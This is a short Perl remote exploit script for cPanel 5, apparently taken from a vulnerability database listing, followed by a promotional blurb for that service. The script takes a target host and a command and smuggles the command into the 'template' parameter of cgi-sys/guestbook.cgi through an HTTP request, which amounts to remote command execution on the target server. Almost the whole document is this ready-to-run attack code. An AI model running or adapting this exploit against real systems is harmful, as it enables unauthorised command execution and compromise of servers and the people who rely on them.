Remote exploit script for Cpanel 5 to execute commands on a target host.
`#!usr/bin/perl
use LWP::UserAgent
print "##########################################\n";
print "# #\n";
print "# Remote Exploit for Cpanel 5 #\n";
print "# #\n";
print "##########################################\n";
print " C0d3r: CaMaLeoN\n";
die "Use: $0 <host> <command>\n" unless ($ARGV[1]);
$web=$ARGV[0];
$comando=$ARGV[1];
$fallos="cgi-sys/guestbook.cgi?user=cpanel&template=$comando";
$url="http://$web/$fallos";
$ua = LWP::UserAgent->new();
$request = HTTP::Request->new('HEAD', $url);
$response = $ua->request($request);
if ($response->code == 200){
print "Command sent.\n";
}
else
{
print "The command could not be sent.\n";
}
`
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo